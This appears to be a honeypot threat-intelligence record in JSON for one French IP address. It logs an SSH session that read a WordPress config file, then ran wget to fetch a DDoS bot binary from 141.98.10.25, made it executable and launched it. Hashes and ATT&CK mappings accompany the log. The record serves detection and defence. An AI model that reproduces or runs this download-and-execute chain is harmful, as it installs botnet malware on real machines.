{"ip":"146.70.184.164","data_as_of":"2026-10-26T22:57:06+00:00","observed":true,"total_events":0,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"1 interactive session(s) ran commands after logging in","confidence":"high","network_type":"network service provider","why":["1 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","Not in any known-scanner range.","Held a session open for 108s, against a median of well under a second."],"engagement":{"level":"request","label":"Request traffic, held open","detail":"453 bytes sent, longest session 108s","bytes_sent":453,"session_seconds":108,"persistent":true},"basis":"interactive"},"first_seen":"2026-10-25T21:05:35","last_seen":"2026-10-25T21:05:35","events_24h":0,"events_7d":0,"interactive_sessions":1,"interactive_sessions_24h":0,"interactive_sessions_7d":1,"interactive_protocols":[{"protocol":"ssh","sessions":1}],"geo":{"country_code":"FR","country_name":"France","region":"","city":"","lat":null,"lon":null,"asn":9009,"org":"M247 Europe SRL"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as9009","label":"M247 Global","category":"isp","url":"https://www.peeringdb.com/asn/9009"},"cve_matches":[],"malware":[{"sha256":"13d1dce34932712d2881f198e09746e0614b3b819fbc0812ed554b0035a92d59","family":"ddos","vt_name":"13d1dce34932712d2881f198e09746e0614b3b819fbc0812ed554b0035a92d59.elf","malicious":4,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":22,"hits":2,"last_seen":"2026-10-25 21:05:35"}],"udp":null,"interaction":{"window_days":90,"sessions":1,"first_seen":"2026-10-25T21:05:35","last_seen":"2026-10-25T21:05:35","verdicts":[{"verdict":"post-exploitation","sessions":1}],"personas":[{"persona":"linux-ubuntu@24.04","sessions":1}],"services":[{"protocol":"ssh","port":22,"sessions":1}],"logins":[],"commands":[{"ts":"2026-10-25T21:05:35","session_id":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"exit","exit_code":0},{"ts":"2026-10-25T21:05:23","session_id":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"./diddysbot-amd64","exit_code":0},{"ts":"2026-10-25T21:05:14","session_id":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"./diddys-amd64","exit_code":127},{"ts":"2026-10-25T21:05:07","session_id":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"chmod +x diddysbot-amd64","exit_code":0},{"ts":"2026-10-25T21:04:58","session_id":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"wget [http]://141[.]98[.]10[.]25/diddysbot-amd64","exit_code":0},{"ts":"2026-10-25T21:04:56","session_id":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cd /etc","exit_code":0},{"ts":"2026-10-25T21:04:30","session_id":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cat index.php","exit_code":0},{"ts":"2026-10-25T21:04:23","session_id":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cat wp-con\tfig.php","exit_code":1},{"ts":"2026-10-25T21:04:15","session_id":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls","exit_code":0},{"ts":"2026-10-25T21:04:15","session_id":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"cd /var/www/html","exit_code":0},{"ts":"2026-10-25T21:04:09","session_id":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"ls","exit_code":0},{"ts":"2026-10-25T21:04:08","session_id":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"id","exit_code":0},{"ts":"2026-10-25T21:04:07","session_id":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8","protocol":"ssh","persona":"linux-ubuntu@24.04","command":"htop","exit_code":127}],"downloads":[{"url":"[http]://141[.]98[.]10[.]25/diddysbot-amd64","host":"141[.]98[.]10[.]25","sessions":1,"first_seen":"2026-10-25T21:05:35","last_seen":"2026-10-25T21:05:35","virustotal":{"sha256":"13d1dce34932712d2881f198e09746e0614b3b819fbc0812ed554b0035a92d59","status":"known","malicious":4,"total":75,"name":"13d1dce34932712d2881f198e09746e0614b3b819fbc0812ed554b0035a92d59.elf"}}],"files":[{"sha256":"356722b780c15355bf2af3cdcfc5286cd101b0d187b4bce8add1bc656793c974","name":"diddysbot-amd64","size":11064,"mime_type":"application/x-executable","kind":"sample","times":1,"first_seen":"2026-10-25T21:05:23","last_seen":"2026-10-25T21:05:23","virustotal":null},{"sha256":"da9ee279cc7abd7ddae595cd5a721603a1b05e3660203962295094f98d6fc89e","name":"diddysbot-amd64","size":35,"mime_type":"text/plain","kind":"downloaded","times":1,"first_seen":"2026-10-25T21:04:58","last_seen":"2026-10-25T21:04:58","virustotal":null}],"attack":[{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":1},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":1},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":1},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":1}]},"top_ports":[{"port":22,"proto":"tcp","label":"SSH","count":0,"sessions":1}],"fingerprints":{"ssh_hassh":["e1d88fdd485f9c710074daa1fcce80a6"],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":[],"interactive":{"ssh_hassh":["e1d88fdd485f9c710074daa1fcce80a6"],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"e1d88fdd485f9c710074daa1fcce80a6":0},"akin_families":{},"user_agents":[],"timeline":[{"date":"2026-10-25","count":0,"sessions":1}],"recent_events":[{"timestamp":"2026-10-25T21:05:35","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"exit","payload_hex":"65786974","method":"","user_agent":"","ja3":"","session":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8-36","seq":36,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"de3ac21778e51de1","strings":["exit"]},"interactive":true},{"timestamp":"2026-10-25T21:05:23","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"./diddysbot-amd64","payload_hex":"2e2f646964647973626f742d616d643634","method":"","user_agent":"","ja3":"","session":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8-34","seq":34,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"66ff55a457f43a21","strings":["./diddysbot-amd64"]},"interactive":true},{"timestamp":"2026-10-25T21:05:14","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"./diddys-amd64","payload_hex":"2e2f6469646479732d616d643634","method":"","user_agent":"","ja3":"","session":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8-32","seq":32,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"14eb1054922799de","strings":["./diddys-amd64"]},"interactive":true},{"timestamp":"2026-10-25T21:05:07","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"chmod +x diddysbot-amd64","payload_hex":"63686d6f64202b7820646964647973626f742d616d643634","method":"","user_agent":"","ja3":"","session":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8-30","seq":30,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"e18944b7e72d8862","strings":["chmod +x diddysbot-amd64"]},"interactive":true},{"timestamp":"2026-10-25T21:04:58","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"wget http://141.98.10.25/diddysbot-amd64","payload_hex":"7767657420687474703a2f2f3134312e39382e31302e32352f646964647973626f742d616d643634","method":"","user_agent":"","ja3":"","session":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8-28","seq":28,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"8b9f156646b0058e","strings":["wget http://141.98.10.25/diddysbot-amd64"],"iocs":{"urls":["http://141.98.10.25/diddysbot-amd64"],"ips":["141.98.10.25"],"paths":["/141.98.10.25/diddysbot-amd64"]}},"interactive":true},{"timestamp":"2026-10-25T21:04:56","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"cd /etc","payload_hex":"6364202f657463","method":"","user_agent":"","ja3":"","session":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8-26","seq":26,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"b17de55190649eb2","strings":["cd /etc"]},"interactive":true},{"timestamp":"2026-10-25T21:04:30","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"cat index.php","payload_hex":"63617420696e6465782e706870","method":"","user_agent":"","ja3":"","session":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8-24","seq":24,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"8a354685f2ee1c5f","strings":["cat index.php"]},"interactive":true},{"timestamp":"2026-10-25T21:04:23","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"cat wp-con\tfig.php","payload_hex":"6361742077702d636f6e096669672e706870","method":"","user_agent":"","ja3":"","session":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8-22","seq":22,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"4df95c9ba714f2f1","strings":["cat wp-con","fig.php"]},"interactive":true},{"timestamp":"2026-10-25T21:04:15","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"ls","payload_hex":"6c73","method":"","user_agent":"","ja3":"","session":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8-20","seq":20,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-25T21:04:15","port":22,"proto":"tcp","app_proto":"ssh","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"cd /var/www/html","payload_hex":"6364202f7661722f7777772f68746d6c","method":"","user_agent":"","ja3":"","session":"8e127a6f-1c21-4219-90b6-c1fd695a2fb8-18","seq":18,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"6a28e42a59c7d885","strings":["cd /var/www/html"],"iocs":{"paths":["/var/www/html"]}},"interactive":true}],"http_methods":[],"distinct_ports_total":1,"top_paths":[],"distinct_paths_total":0,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":1},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":1},{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":1},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":1}]}